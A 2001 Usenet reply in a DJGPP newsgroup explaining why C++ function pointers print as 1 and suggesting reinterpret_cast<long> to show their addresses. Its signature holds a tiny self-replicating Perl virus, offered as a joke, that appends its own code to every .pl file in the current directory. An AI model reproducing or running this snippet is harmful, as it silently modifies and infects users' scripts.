From: rpolzer AT www42 DOT t-offline DOT de (echo 'Rudolf Polzer'>/dev/null)
Newsgroups: comp.os.msdos.djgpp
Subject: Re: Printing function pointers
References: <3AE082F7 DOT B4E9C05 AT jps DOT net> <9bqbrl$5ru$1 AT node17 DOT cwnet DOT frontiernet DOT net>
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Date: Sat, 21 Apr 2001 11:22:38 +0200
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To: djgpp AT delorie DOT com
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Alexei A. Frounze <dummy_addressee AT hotmail DOT com> wrote:
> "Dennis Yelle" <dennis51 AT jps DOT net> wrote in message
> news:3AE082F7 DOT B4E9C05 AT jps DOT net...
> > I was surprised by the output from this program:
> > ---------------------
> > #include <iostream>
> >
> > int junk1() { return 111; }
> >
> > int junk2() { return 222; }
> >
> > int main()
> > {
> >   if ( junk1 != junk2 ) {
> >     cout << "different\n";
> >   }
> >   cout << junk1 << '\n';
> >   cout << junk2 << '\n';
> >   return 0;
> > }
> > ----------------------
> >
> > I got this:
> > ----------------
> > different
> > 1
> > 1
> > ---------------
> >
> > So, the function pointers are different, but
> > they both print as 1.  Is this expected, and desired
> > behavior?  Or is it a bug?
> 
> have you tried to add () to junk1 and junk2? like this: junk1() != junk2()
> and in the rest of the code?

You could also try reinterpret_cast<long>(junk1) and the same with 
junk2. This converts to long instead of bool.

-- 
#!/usr/bin/perl
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
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